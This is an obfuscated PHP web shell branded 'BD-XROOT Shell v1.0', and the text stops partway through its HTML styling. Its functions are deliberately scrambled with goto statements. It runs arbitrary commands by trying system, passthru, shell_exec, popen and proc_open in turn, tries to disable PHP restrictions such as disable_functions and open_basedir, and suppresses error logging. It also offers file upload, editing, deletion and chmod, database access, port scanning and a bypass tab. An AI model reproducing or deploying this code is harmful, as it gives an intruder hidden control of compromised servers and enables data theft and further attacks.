<?php
goto nA7Q_;
qdF0S:
echo htmlspecialchars($UlLNU);
goto ml_gG;
xNFxz:
echo "        </div>\r\n        ";
goto Jrx3y;
vmUcA:
MT9MZ:
goto Ppqfx;
oFUBL:
echo "</span>\r\n                    </div>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Server IP</span>\r\n                        <span class=\"info-value\">";
goto KjKLI;
MoI2U:
@ini_set("open_basedir", "/");
goto UltWU;
DHgB0:
$t3j1o = array("type" => "success", "text" => "Permissions changed");
goto npyRw;
oHSxa:
echo "            <table class=\"file-table\">\r\n                <thead>\r\n                    <tr>\r\n                        <th width=\"35%\">Name</th>\r\n                        <th width=\"10%\">Type</th>\r\n                        <th width=\"10%\">Size</th>\r\n                        <th width=\"10%\">Permissions</th>\r\n                        <th width=\"15%\">Modified</th>\r\n                        <th width=\"20%\">Actions</th>\r\n                    </tr>\r\n                </thead>\r\n                <tbody>\r\n                    ";
goto VQeRt;
WdVYg:
echo htmlspecialchars($X18FW["disk_used"]);
goto KXWH7;
oWaRk:
if (function_exists("L2RvP")) {
    goto Y3Cck;
}
goto wa1_6;
C54pD:
if (!isset($_GET["do"])) {
    goto BxvYJ;
}
goto NRhOa;
fSRP1:
echo "</span>\r\n                    </div>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Server Port</span>\r\n                        <span class=\"info-value\">";
goto zECYF;
yk2UE:
goto dZ_L6;
goto Fw53x;
O3cs8:
@ini_set("disable_functions", '');
goto ENcCP;
PfYhU:
echo "</span>\r\n                    </div>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Allow URL Fopen</span>\r\n                        <span class=\"info-value\">";
goto lXdlo;
WEnWY:
if (BkH9m($OjVia, $_POST["filecontent"])) {
    goto AiGb8;
}
goto maNpb;
KpUvd:
echo htmlspecialchars($X18FW["post_max_size"]);
goto mkcxY;
Ppqfx:
goto UTlpx;
goto pkLNe;
FrUR7:
goto DAsXt;
goto oNNTY;
OUnlk:
if (!empty($Z5f2E)) {
    goto sF_FM;
}
goto TR9CM;
J4Ro9:
header("Content-Length: " . @filesize($KCz4A));
goto Ia0Gv;
MdXMk:
if (!isset($_POST["command"])) {
    goto hD22w;
}
goto F9y1j;
S3y1a:
@ini_set("safe_mode", 0);
goto O3cs8;
mykwA:
@mysqli_close($h6C7W);
goto vmUcA;
UM99x:
rsHad:
goto wu0UO;
zDrUc:
echo "\" onclick=\"switchTab('bypass')\">\r\n                <span class=\"tab-icon\">??</span> Bypass\r\n            </div>\r\n        </div>\r\n        \r\n        <!-- File Manager Tab -->\r\n        <div class=\"tab-content ";
goto yHjT_;
Z1Qqz:
echo "\" id=\"database\">\r\n            <h3 style=\"margin-bottom: 20px; color: #58a6ff;\">Database Connection</h3>\r\n            <form method=\"post\">\r\n                <div class=\"tool-group\" style=\"width: 100%; margin-bottom: 15px;\">\r\n                    <label>Host:</label>\r\n                    <input type=\"text\" name=\"db_host\" placeholder=\"localhost\" value=\"localhost\">\r\n                </div>\r\n                <div class=\"tool-group\" style=\"width: 100%; margin-bottom: 15px;\">\r\n                    <label>Username:</label>\r\n                    <input type=\"text\" name=\"db_user\" placeholder=\"root\">\r\n                </div>\r\n                <div class=\"tool-group\" style=\"width: 100%; margin-bottom: 15px;\">\r\n                    <label>Password:</label>\r\n                    <input type=\"password\" name=\"db_pass\" placeholder=\"\">\r\n                </div>\r\n                <div class=\"tool-group\" style=\"width: 100%; margin-bottom: 15px;\">\r\n                    <label>Database:</label>\r\n                    <input type=\"text\" name=\"db_name\" placeholder=\"\">\r\n                </div>\r\n                <button type=\"submit\" class=\"btn btn-success\">Connect</button>\r\n            </form>\r\n        </div>\r\n        \r\n        <!-- Network Tab -->\r\n        <div class=\"tab-content ";
goto Letnn;
S0tHe:
JC9Iw:
goto haZag;
zz1aE:
FuxHP:
goto TGiGd;
e4007:
$t3j1o = array("type" => "success", "text" => "Database connected successfully");
goto mykwA;
KjKLI:
echo htmlspecialchars($X18FW["ip"]);
goto fSRP1;
wu0UO:
$t3j1o = array("type" => "success", "text" => "Upload successful");
goto ml9XW;
FDkfF:
echo "                    \r\n                    ";
goto O7axD;
x5QaV:
echo "s</span>\r\n                    </div>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Upload Max Filesize</span>\r\n                        <span class=\"info-value\">";
goto B_kYr;
jfblu:
echo "</span>\r\n                    </div>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Open Basedir</span>\r\n                        <span class=\"info-value\">";
goto kctsO;
kctsO:
echo htmlspecialchars($X18FW["open_basedir"]);
goto r8veJ;
zDNHY:
foreach ($JxmJS["folders"] as $IcVgP) {
    goto Qw607;
    WdlNA:
    $QF4Rf = @filemtime($lOJed);
    goto x8kYO;
    GGgCP:
    echo "\" \r\n                                   class=\"delete\" onclick=\"return confirm('Delete this folder and all its contents?')\">Delete</a>\r\n                            </div>\r\n                        </td>\r\n                    </tr>\r\n                    ";
    goto df1uZ;
    df1uZ:
    VQaCS:
    goto VnyMd;
    Ow0pV:
    echo urlencode($lOJed);
    goto dYiM8;
    jrHmR:
    echo $rO3T_ ? "perm-writable" : "perm-readonly";
    goto eskeH;
    Lf4QB:
    echo $Cp4gt;
    goto LiJAG;
    EievC:
    echo $rO3T_ ? "perm-writable" : "perm-readonly";
    goto TqDqI;
    Jr9ax:
    echo htmlspecialchars($IcVgP);
    goto zsx8f;
    LiJAG:
    echo "                        </td>\r\n                        <td>";
    goto MdI_6;
    YmIWS:
    echo htmlspecialchars($IcVgP);
    goto Y7Ne_;
    fQEfg:
    echo "                                </span>\r\n                            </a>\r\n                        </td>\r\n                        <td>Folder</td>\r\n                        <td>-</td>\r\n                        <td class=\"";
    goto jrHmR;
    G9VpT:
    echo htmlspecialchars($IcVgP);
    goto fQEfg;
    zsx8f:
    echo "'); return false;\">Rename</a>\r\n                                <a href=\"#\" onclick=\"chmodItem('";
    goto YmIWS;
    oLzZq:
    echo "\"></span>\r\n                                <span class=\"file-icon\">??</span>\r\n                                <span class=\"";
    goto EievC;
    Qw607:
    $lOJed = $svxzY . $IcVgP;
    goto JOh2r;
    dYiM8:
    echo "\">\r\n                                <span class=\"perm-indicator ";
    goto KdKO4;
    x8kYO:
    echo "                    <tr class=\"folder-row\">\r\n                        <td>\r\n                            <a href=\"?tab=filemanager&p=";
    goto Ow0pV;
    eskeH:
    echo "\">\r\n                            ";
    goto Lf4QB;
    PQMtA:
    echo urlencode($IcVgP);
    goto GGgCP;
    Qajkk:
    $rO3T_ = eD8Hd($lOJed);
    goto WdlNA;
    UQ2Zo:
    echo "</td>\r\n                        <td>\r\n                            <div class=\"file-actions\">\r\n                                <a href=\"#\" onclick=\"renameItem('";
    goto Jr9ax;
    MdI_6:
    echo $QF4Rf ? date("Y-m-d H:i", $QF4Rf) : "-";
    goto UQ2Zo;
    Y7Ne_:
    echo "'); return false;\">Chmod</a>\r\n                                <a href=\"?tab=filemanager&p=";
    goto T9gP5;
    KdKO4:
    echo $rO3T_ ? "writable" : "readonly";
    goto oLzZq;
    ZcJdy:
    echo "&do=delete&item=";
    goto PQMtA;
    T9gP5:
    echo urlencode($svxzY);
    goto ZcJdy;
    TqDqI:
    echo "\">\r\n                                    ";
    goto G9VpT;
    JOh2r:
    $Cp4gt = GCK0g($lOJed);
    goto Qajkk;
    VnyMd:
}
goto BKvF2;
iRq5A:
PgAM6:
goto G17PK;
e945k:
G_eSq:
goto R8X53;
UltWU:
goto DAsXt;
goto iRq5A;
vM2r3:
echo "\" id=\"terminal\">\r\n            <div class=\"terminal\">\r\n                <div class=\"terminal-output\">";
goto OaQHR;
CNVpg:
echo htmlspecialchars($X18FW["disk_total"]);
goto iknah;
NLdR4:
$Cbzx0 = "database";
goto kFith;
Dr7hj:
frtz1:
goto IvPCM;
pATK3:
t3n2A:
goto AKOlZ;
k1Yzl:
$JC6Ta = XhTZj($twQir);
goto ZhHnW;
lKXXW:
if (!@is_file($KCz4A)) {
    goto CC_fM;
}
goto y_Lpj;
YYLnS:
goto mo1ir;
goto UM99x;
HnZNm:
echo htmlspecialchars($t3j1o["text"]);
goto xNFxz;
cn6dx:
if (!($PEOfb === "edit" && isset($_GET["item"]))) {
    goto mu3aW;
}
goto HKIpQ;
e5vg9:
echo "</h3>\r\n                <form method=\"post\">\r\n                    <input type=\"hidden\" name=\"save\" value=\"";
goto qdF0S;
ldGf0:
if (@rename($DkgI1, $OjVia)) {
    goto Vc3s5;
}
goto pqDaG;
rDcEz:
$t3j1o = array("type" => "success", "text" => "Changes saved");
goto j3aGX;
O6peh:
$Cbzx0 = $_GET["tab"];
goto kxlwo;
On3yU:
$ij9f7 = $svxzY . $_POST["newfolder"];
goto nkl1C;
dZuOE:
if (!isset($_FILES["upload"])) {
    goto Go90D;
}
goto Ae3oR;
JfwdL:
echo "</span>\r\n                    </div>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Usage</span>\r\n                        <span class=\"info-value\">";
goto J_Ji2;
Jg7Ia:
Go90D:
goto rhZh5;
nA7Q_:
echo "??????????????????\r\n??????\r\n";
goto Wy4q3;
Kp7NA:
$Cbzx0 = "filemanager";
goto UBT1G;
UBT1G:
mu3aW:
goto RdZm9;
ml_gG:
echo "\">\r\n                    <textarea name=\"content\" class=\"edit-area\">";
goto Q00EY;
ml9XW:
mo1ir:
goto Jg7Ia;
O929T:
@ini_set("max_execution_time", 0);
goto zmoCe;
IhBli:
$nSji4 = $_POST["db_host"];
goto dcHDe;
lGTpV:
@ini_set("memory_limit", "-1");
goto Mhp0w;
bn3kg:
cypWe:
goto ZtgKs;
s4OEG:
echo "\" id=\"network\">\r\n            <h3 style=\"margin-bottom: 20px; color: #58a6ff;\">Port Scanner</h3>\r\n            <form method=\"post\">\r\n                <div class=\"tool-group\" style=\"width: 100%; margin-bottom: 15px;\">\r\n                    <label>Host:</label>\r\n                    <input type=\"text\" name=\"scan_host\" placeholder=\"127.0.0.1\" value=\"127.0.0.1\">\r\n                </div>\r\n                <div class=\"tool-group\" style=\"width: 100%; margin-bottom: 15px;\">\r\n                    <label>Port Start:</label>\r\n                    <input type=\"number\" name=\"scan_port_start\" placeholder=\"1\" value=\"1\">\r\n                </div>\r\n                <div class=\"tool-group\" style=\"width: 100%; margin-bottom: 15px;\">\r\n                    <label>Port End:</label>\r\n                    <input type=\"number\" name=\"scan_port_end\" placeholder=\"1000\" value=\"1000\">\r\n                </div>\r\n                <button type=\"submit\" class=\"btn btn-warning\">Scan</button>\r\n            </form>\r\n        </div>\r\n        \r\n        <!-- Bypass Tab -->\r\n        <div class=\"tab-content ";
goto D6uZP;
lipZ3:
@ini_set("log_errors", 0);
goto O929T;
B34R1:
QJ6vV:
goto plrBK;
xjHtC:
if (!$t3j1o) {
    goto h4vfd;
}
goto wTbrR;
zECYF:
echo htmlspecialchars($X18FW["port"]);
goto Tlxbg;
gRBUI:
$t3j1o = array("type" => "success", "text" => "Upload successful");
goto IOldU;
kLZBv:
echo htmlspecialchars($X18FW["php_version"]);
goto vA1wH;
SWBg6:
if (x5Z36($WklJe)) {
    goto RVeK1;
}
goto RpllI;
j8t4F:
if ($vk87G == "open_basedir") {
    goto GvFSy;
}
goto cbcHc;
JAKSM:
echo htmlspecialchars($X18FW["ip"]);
goto GJlVx;
pqDaG:
$t3j1o = array("type" => "error", "text" => "Rename failed");
goto yk2UE;
W1cBr:
RfQAK:
goto B34R1;
sPHdk:
$mzcbo = false;
goto XYknW;
VKPIv:
$dckxu = @fsockopen($xncKq, $X4FoP, $exDje, $U97lb, 1);
goto T1yHW;
p_V44:
echo htmlspecialchars($svxzY);
goto KumRf;
vjwj0:
$KnjV2 = $_POST["db_pass"];
goto tK9Ae;
Khtwc:
goto ZwZZY;
goto MXW1u;
RfKA1:
echo "                    <tr>\r\n                        <td colspan=\"6\">\r\n                            <a href=\"?tab=filemanager&p=";
goto fX2qf;
mlw1l:
echo htmlspecialchars($X18FW["server"]);
goto MdXjJ;
Lpa38:
@ini_set("display_errors", 0);
goto lipZ3;
j3aGX:
Pcqs6:
goto bldGG;
IOldU:
ZwZZY:
goto YYLnS;
dFN5k:
AiGb8:
goto Y7vdH;
hy7hL:
$t3j1o = array("type" => "error", "text" => "Save failed");
goto GIARz;
AOZsX:
function XHTZJ($m9JJl)
{
    goto aJKBN;
    xnE05:
    $oarMp = array(function ($wAzKW) use(&$v_9fa) {
        goto wauKH;
        FJNx5:
        @system($wAzKW);
        goto mlLck;
        mlLck:
        $v_9fa = @ob_get_contents();
        goto bHwLw;
        wauKH:
        @ob_start();
        goto FJNx5;
        bHwLw:
        @ob_end_clean();
        goto I04MT;
        I04MT:
        return $v_9fa;
        goto XUvYM;
        XUvYM:
    }, function ($wAzKW) use(&$v_9fa) {
        goto J3m0W;
        GFruG:
        return $v_9fa;
        goto mHAek;
        lfydq:
        @passthru($wAzKW);
        goto IIC4m;
        J3m0W:
        @ob_start();
        goto lfydq;
        Iulqq:
        @ob_end_clean();
        goto GFruG;
        IIC4m:
        $v_9fa = @ob_get_contents();
        goto Iulqq;
        mHAek:
    }, function ($wAzKW) use(&$v_9fa) {
        $v_9fa = @shell_exec($wAzKW);
        return $v_9fa;
    }, function ($wAzKW) use(&$v_9fa) {
        goto EvveG;
        VqNbT:
        goto lPQ2R;
        goto rYKg4;
        Wieeu:
        VMxPe:
        goto xUt6h;
        xVCbR:
        $v_9fa .= @fread($NR7w3, 512);
        goto VqNbT;
        AMUCQ:
        if (@feof($NR7w3)) {
            goto M96Rr;
        }
        goto xVCbR;
        rYKg4:
        M96Rr:
        goto ziOVY;
        ziOVY:
        @pclose($NR7w3);
        goto Wieeu;
        xUt6h:
        return $v_9fa;
        goto G8kHW;
        JwsuG:
        if (!$NR7w3) {
            goto VMxPe;
        }
        goto KVNv3;
        EvveG:
        $v_9fa = '';
        goto Xp5Fv;
        Xp5Fv:
        $NR7w3 = @popen($wAzKW, "r");
        goto JwsuG;
        KVNv3:
        lPQ2R:
        goto AMUCQ;
        G8kHW:
    }, function ($wAzKW) use(&$v_9fa) {
        goto bhf5n;
        m9fMY:
        $v_9fa = @stream_get_contents($CTOxL[1]);
        goto jZrgs;
        bhf5n:
        $ojN5P = @proc_open($wAzKW, array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w")), $CTOxL);
        goto I35uw;
        jZrgs:
        @fclose($CTOxL[1]);
        goto Cqril;
        FvWI1:
        PXqOM:
        goto ufIcw;
        MlO0g:
        @fclose($CTOxL[0]);
        goto m9fMY;
        I35uw:
        if (!is_resource($ojN5P)) {
            goto PXqOM;
        }
        goto MlO0g;
        ufIcw:
        return $v_9fa;
        goto DNORk;
        Cqril:
        @fclose($CTOxL[2]);
        goto ST0hB;
        ST0hB:
        @proc_close($ojN5P);
        goto FvWI1;
        DNORk:
    });
    goto o1UF4;
    aJKBN:
    $v_9fa = '';
    goto xnE05;
    o1UF4:
    foreach ($oarMp as $Dkuor) {
        goto rbEFB;
        FCaFv:
        if (!($HSnn2 !== null && $HSnn2 !== false)) {
            goto IAFP_;
        }
        goto hjkCm;
        ynPFe:
        IAFP_:
        goto dOONz;
        rbEFB:
        $HSnn2 = $Dkuor($m9JJl);
        goto FCaFv;
        hjkCm:
        return $HSnn2;
        goto ynPFe;
        dOONz:
        CEBb2:
        goto OB7ud;
        OB7ud:
    }
    goto GcT2P;
    GcT2P:
    lzihY:
    goto LRGjc;
    LRGjc:
    return "Command execution failed or disabled";
    goto UKNT2;
    UKNT2:
}
goto syiaY;
akhg1:
goto t3n2A;
goto CqAVH;
ERI9M:
echo "                    <tr>\r\n                        <td colspan=\"6\" class=\"empty\">Empty directory</td>\r\n                    </tr>\r\n                    ";
goto QagVz;
MXW1u:
RW9Np:
goto gRBUI;
QagVz:
zgSdu:
goto muDQh;
gXlMB:
$JC6Ta = '';
goto jFBtJ;
RK2Ou:
@ini_set("open_basedir", NULL);
goto S3y1a;
aNV1D:
if (!($PEOfb === "delete" && isset($_GET["item"]))) {
    goto LZCyK;
}
goto E62Jn;
ZhSmB:
$t3j1o = array("type" => "success", "text" => "Folder created");
goto W1cBr;
hnUNa:
$ufbK4 = SU4vZ($svxzY . $UlLNU);
goto Kp7NA;
VNAgt:
echo $Cbzx0 === "database" ? "active" : '';
goto Z1Qqz;
UeOUR:
$h6C7W = @mysqli_connect($nSji4, $j03GL, $KnjV2, $RFUtt);
goto agLIy;
zg3SX:
if (BKh9M($TA_Db, $nVyW1)) {
    goto RW9Np;
}
goto WkTqa;
syiaY:
function Su4VZ($VZGuw)
{
    goto kuvaH;
    kuvaH:
    $oarMp = array(function ($HHPM_) {
        return @file_get_contents($HHPM_);
    }, function ($HHPM_) {
        goto PQyxs;
        actER:
        goto FOir2;
        goto HMlKL;
        Ue9JP:
        FOir2:
        goto r_fo9;
        vKhQR:
        if (!$dckxu) {
            goto eHi9p;
        }
        goto G3ytd;
        PQyxs:
        $dckxu = @fopen($HHPM_, "rb");
        goto vKhQR;
        acB_F:
        eHi9p:
        goto fYqWa;
        m3qLH:
        @fclose($dckxu);
        goto ttqgb;
        r_fo9:
        if (@feof($dckxu)) {
            goto Wk11E;
        }
        goto rEU7l;
        G3ytd:
        $nVyW1 = '';
        goto Ue9JP;
        rEU7l:
        $nVyW1 .= @fread($dckxu, 8192);
        goto actER;
        HMlKL:
        Wk11E:
        goto m3qLH;
        ttqgb:
        return $nVyW1;
        goto acB_F;
        fYqWa:
    }, function ($HHPM_) {
        goto dOOb8;
        G04wS:
        return ob_get_clean();
        goto cyaQz;
        dOOb8:
        ob_start();
        goto p2x7X;
        p2x7X:
        @readfile($HHPM_);
        goto G04wS;
        cyaQz:
    }, function ($HHPM_) {
        return @implode('', @file($HHPM_));
    });
    goto je3o1;
    vMOUr:
    return '';
    goto Fp4aK;
    je3o1:
    foreach ($oarMp as $Dkuor) {
        goto R7iVr;
        RiczZ:
        FCSkL:
        goto EY2gE;
        LkZ09:
        if (!($HSnn2 !== false && $HSnn2 !== null)) {
            goto FCSkL;
        }
        goto TGmLy;
        TGmLy:
        return $HSnn2;
        goto RiczZ;
        EY2gE:
        RG6De:
        goto YVvo8;
        R7iVr:
        $HSnn2 = $Dkuor($VZGuw);
        goto LkZ09;
        YVvo8:
    }
    goto Cjs5r;
    Cjs5r:
    RnA_C:
    goto vMOUr;
    Fp4aK:
}
goto alqeA;
wU0Dt:
LgtqE:
goto Gkige;
D8TQd:
j3N8q:
goto hyJKl;
Y7vdH:
$t3j1o = array("type" => "success", "text" => "File created");
goto hGQgu;
vm8ku:
$t3j1o = array("type" => "error", "text" => "Database connection failed: " . @mysqli_connect_error());
goto Ow0lC;
rXQW1:
echo $Cbzx0 === "terminal" ? "active" : '';
goto jPN0n;
trnVN:
echo $Cbzx0 === "database" ? "active" : '';
goto UNtVd;
hyJKl:
B63_M:
goto C54pD;
VQeRt:
if (!($svxzY !== "/")) {
    goto NddEV;
}
goto RfKA1;
zXGBw:
echo "</div>\r\n                <form method=\"post\" class=\"terminal-input\">\r\n                    <input type=\"text\" name=\"command\" placeholder=\"Enter command...\" autocomplete=\"off\">\r\n                    <button type=\"submit\" class=\"btn\">Execute</button>\r\n                </form>\r\n            </div>\r\n        </div>\r\n        \r\n        <!-- System Info Tab -->\r\n        <div class=\"tab-content ";
goto Ty8ed;
Fby9h:
$Gok1_ = intval($_POST["scan_port_start"]);
goto obxZm;
jPN0n:
echo "\" onclick=\"switchTab('terminal')\">\r\n                <span class=\"tab-icon\">??</span> Terminal\r\n            </div>\r\n            <div class=\"tab ";
goto MINY0;
thPBE:
foreach ($JxmJS["files"] as $VZGuw) {
    goto qX1iQ;
    FlFLw:
    echo "&do=delete&item=";
    goto G6rjF;
    b1Xwb:
    echo "'); return false;\">Rename</a>\r\n                                <a href=\"#\" onclick=\"chmodItem('";
    goto lLdAh;
    pdXBa:
    echo urlencode($svxzY);
    goto b78Fj;
    bTnRT:
    echo "\"></span>\r\n                                <span class=\"file-icon\">??</span>\r\n                                <span class=\"";
    goto qwFpA;
    Vmc8q:
    echo "&do=download&item=";
    goto WQFjn;
    qwFpA:
    echo $rO3T_ ? "perm-writable" : "perm-readonly";
    goto F_3VV;
    nGkkH:
    $vlqiG = round($vlqiG / 1024, 1) . " KB";
    goto AJIWs;
    sMSJU:
    $QF4Rf = @filemtime($lOJed);
    goto nMyE2;
    PVTZY:
    Uazmk:
    goto qmq8N;
    lLdAh:
    echo htmlspecialchars($VZGuw);
    goto Us1U9;
    Us1U9:
    echo "'); return false;\">Chmod</a>\r\n                                <a href=\"?tab=filemanager&p=";
    goto yqBhR;
    yn98G:
    echo $rO3T_ ? "perm-writable" : "perm-readonly";
    goto R4JIV;
    yqBhR:
    echo urlencode($svxzY);
    goto FlFLw;
    nMyE2:
    $klQ1h = strtoupper(pathinfo($VZGuw, PATHINFO_EXTENSION) ?: "FILE");
    goto nPEk3;
    h15MP:
    orvWr:
    goto AFolE;
    rb_xT:
    echo "\">Download</a>\r\n                                <a href=\"#\" onclick=\"renameItem('";
    goto N0XfV;
    m1Vcg:
    if ($vlqiG < 1024) {
        goto GLdJs;
    }
    goto WCKww;
    OF8Ou:
    echo $klQ1h;
    goto hEoIu;
    L6R84:
    echo "</td>\r\n                        <td>\r\n                            <div class=\"file-actions\">\r\n                                <a href=\"?tab=filemanager&p=";
    goto pdXBa;
    WQFjn:
    echo urlencode($VZGuw);
    goto rb_xT;
    rHYRy:
    GSluG:
    goto m1Vcg;
    hEoIu:
    echo "</td>\r\n                        <td>";
    goto Hs3ky;
    o2dU0:
    $vlqiG = round($vlqiG / 1073741824, 1) . " GB";
    goto l4WMQ;
    XTHTJ:
    $vlqiG = round($vlqiG / 1048576, 1) . " MB";
    goto jLdUB;
    Qg9C8:
    GLdJs:
    goto XQl5P;
    R4JIV:
    echo "\">\r\n                            ";
    goto HU1WJ;
    N0XfV:
    echo htmlspecialchars($VZGuw);
    goto b1Xwb;
    sWafs:
    HO8v9:
    goto XTHTJ;
    AJIWs:
    goto e_5KZ;
    goto sWafs;
    VTm1c:
    echo "</td>\r\n                        <td class=\"";
    goto yn98G;
    jLdUB:
    e_5KZ:
    goto h15MP;
    D4Kj2:
    echo htmlspecialchars($VZGuw);
    goto j9yNO;
    HU1WJ:
    echo $Cp4gt;
    goto WrmWU;
    xSIll:
    echo $rO3T_ ? "writable" : "readonly";
    goto bTnRT;
    nPEk3:
    if ($vlqiG !== false) {
        goto GSluG;
    }
    goto Lwbrq;
    Lwbrq:
    $vlqiG = "?";
    goto yUg1e;
    F_3VV:
    echo "\">\r\n                                    ";
    goto D4Kj2;
    AFolE:
    echo "                    <tr>\r\n                        <td>\r\n                            <span style=\"display: inline-flex; align-items: center; gap: 8px;\">\r\n                                <span class=\"perm-indicator ";
    goto xSIll;
    Hs3ky:
    echo $vlqiG;
    goto VTm1c;
    PdcVp:
    echo urlencode($VZGuw);
    goto NfOP1;
    l4WMQ:
    goto e_5KZ;
    goto Qg9C8;
    UL62f:
    if ($vlqiG < 1073741824) {
        goto HO8v9;
    }
    goto o2dU0;
    kbSTg:
    goto e_5KZ;
    goto vei_r;
    vei_r:
    dd9hZ:
    goto nGkkH;
    s702a:
    $Cp4gt = gck0g($lOJed);
    goto NA57J;
    NA57J:
    $rO3T_ = eD8Hd($lOJed);
    goto sMSJU;
    qX1iQ:
    $lOJed = $svxzY . $VZGuw;
    goto PG51s;
    WrmWU:
    echo "                        </td>\r\n                        <td>";
    goto ZQ_mP;
    Gg4sn:
    echo "\" \r\n                                   class=\"delete\" onclick=\"return confirm('Delete this file?')\">Delete</a>\r\n                            </div>\r\n                        </td>\r\n                    </tr>\r\n                    ";
    goto PVTZY;
    WCKww:
    if ($vlqiG < 1048576) {
        goto dd9hZ;
    }
    goto UL62f;
    yUg1e:
    goto orvWr;
    goto rHYRy;
    NfOP1:
    echo "\">Edit</a>\r\n                                <a href=\"?tab=filemanager&p=";
    goto wQKmw;
    PG51s:
    $vlqiG = @filesize($lOJed);
    goto s702a;
    ZQ_mP:
    echo $QF4Rf ? date("Y-m-d H:i", $QF4Rf) : "-";
    goto L6R84;
    wQKmw:
    echo urlencode($svxzY);
    goto Vmc8q;
    b78Fj:
    echo "&do=edit&item=";
    goto PdcVp;
    XQl5P:
    $vlqiG = $vlqiG . " B";
    goto kbSTg;
    j9yNO:
    echo "                                </span>\r\n                            </span>\r\n                        </td>\r\n                        <td>";
    goto OF8Ou;
    G6rjF:
    echo urlencode($VZGuw);
    goto Gg4sn;
    qmq8N:
}
goto zz1aE;
Vk4YQ:
NddEV:
goto f0kVv;
ix2pc:
echo htmlspecialchars($X18FW["curl"]);
goto PfYhU;
maNpb:
$t3j1o = array("type" => "error", "text" => "Creation failed");
goto HYun4;
O7axD:
if (!(empty($JxmJS["folders"]) && empty($JxmJS["files"]))) {
    goto zgSdu;
}
goto ERI9M;
ZtgKs:
if (!($X4FoP <= $WYkC2)) {
    goto ROevN;
}
goto VKPIv;
V6SyU:
g0UPR:
goto dQW2q;
G17PK:
@ini_set("disable_functions", '');
goto FrUR7;
W3BWL:
if (!($_SERVER["REQUEST_METHOD"] === "POST")) {
    goto B63_M;
}
goto dZuOE;
mkcxY:
echo "</span>\r\n                    </div>\r\n                </div>\r\n                \r\n                <div class=\"info-card\">\r\n                    <h3>?? Extensions</h3>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">MySQL</span>\r\n                        <span class=\"info-value\">";
goto tyStt;
lC5Bg:
if (function_exists("mysqli_connect")) {
    goto Qrcz1;
}
goto oWaRk;
KXI3h:
UFJ5T:
goto hzYFE;
HYun4:
goto d1EQV;
goto dFN5k;
jFBtJ:
$Cbzx0 = "filemanager";
goto W3BWL;
tK9Ae:
$RFUtt = $_POST["db_name"];
goto lC5Bg;
GJlVx:
echo "</span>\r\n            </div>\r\n        </div>\r\n        \r\n        ";
goto xjHtC;
Efysy:
function eD8hd($VZGuw)
{
    goto dnTv7;
    nB37I:
    HDRBK:
    goto ZfWgj;
    xW86u:
    if (!@is_dir($VZGuw)) {
        goto HDRBK;
    }
    goto c2psH;
    c2psH:
    $us2Y1 = $VZGuw . "/.test_" . md5(time());
    goto WQhVb;
    dnTv7:
    if (!@is_writable($VZGuw)) {
        goto nsg5f;
    }
    goto MpImS;
    zHe0U:
    $M2L1q = @dirname($VZGuw);
    goto YnAhK;
    IeEI0:
    rJptE:
    goto nB37I;
    AM4wg:
    jtGn8:
    goto xKpw9;
    ZfWgj:
    if (!@is_file($VZGuw)) {
        goto ccRz7;
    }
    goto zHe0U;
    ihJmm:
    @unlink($us2Y1);
    goto ngdH3;
    ngdH3:
    return true;
    goto IeEI0;
    w4rxl:
    nsg5f:
    goto xW86u;
    LES9s:
    return false;
    goto uKbnD;
    xKpw9:
    ccRz7:
    goto LES9s;
    UNDJZ:
    return true;
    goto AM4wg;
    WQhVb:
    if (!@touch($us2Y1)) {
        goto rJptE;
    }
    goto ihJmm;
    MpImS:
    return true;
    goto w4rxl;
    YnAhK:
    if (!@is_writable($M2L1q)) {
        goto jtGn8;
    }
    goto UNDJZ;
    uKbnD:
}
goto M9N5G;
dEd1J:
if (!isset($_GET["bypass"])) {
    goto G_eSq;
}
goto hmX93;
Gkige:
if (!(isset($_POST["chmod_item"]) && isset($_POST["chmod_value"]))) {
    goto hbHTw;
}
goto TY5jA;
OaQHR:
echo htmlspecialchars($JC6Ta);
goto zXGBw;
UTIWE:
$JxmJS = aFGtA($pYbXh, $svxzY);
goto TzYfe;
PWA1L:
goto iNb1o;
goto KXI3h;
Fw53x:
Vc3s5:
goto MkXr9;
Kn3m3:
echo "</span>\r\n                <span><strong>PHP:</strong> ";
goto Bmrlv;
iknah:
echo "</span>\r\n                    </div>\r\n                    <div class=\"info-item\">\r\n                        <span class=\"info-label\">Used Space</span>\r\n                        <span class=\"info-value\">";
goto WdVYg;
K7RBx:
echo "<!DOCTYPE html>\r\n<html lang=\"en\">\r\n<head>\r\n    <meta charset=\"UTF-8\">\r\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\r\n    <title>BD-XROOT Shell v1.0 </title>\r\n<audio autoplay> <source src=\"https://www.soundjay.com/buttons/beep-24.mp3\" type=\"audio/mpeg\"></audio>\r\n    <style>\r\n        * { margin: 0; padding: 0; box-sizing: border-box; }\r\n        \r\n        body {\r\n            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;\r\n            background: #0d1117;\r\n            color: #c9d1d9;\r\n            min-height: 100vh;\r\n            padding: 20px;\r\n        }\r\n        \r\n        .container {\r\n            max-width: 1400px;\r\n            margin: 0 auto;\r\n            background: #161b22;\r\n            border-radius: 10px;\r\n            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.5);\r\n            overflow: hidden;\r\n            border: 1px solid #30363d;\r\n        }\r\n        \r\n        .header {\r\n            background: linear-gradient(to right, #1f6feb, #8957e5);\r\n            color: white;\r\n            padding: 25px;\r\n            border-bottom: 1px solid #30363d;\r\n        }\r\n        \r\n        .header h1 {\r\n            font-size: 24px;\r\n            margin-bottom: 10px;\r\n            display: flex;\r\n            align-items: center;\r\n            gap: 10px;\r\n        }\r\n        \r\n        .header h1 .eagle {\r\n            font-size: 28px;\r\n            color: #ffd700;\r\n            text-shadow: 0 0 10px rgba(255, 215, 0, 0.5);\r\n        }\r\n        \r\n        .sys-info {\r\n            display: flex;\r\n            gap: 15px;\r\n            font-size: 13px;\r\n            flex-wrap: wrap;\r\n        }\r\n        \r\n        .sys-info span {\r\n            display: flex;\r\n            align-items: center;\r\n            gap: 5px;\r\n            background: rgba(255, 255, 255, 0.1);\r\n            padding: 5px 10px;\r\n            border-radius: 5px;\r\n        }\r\n        \r\n        .tabs 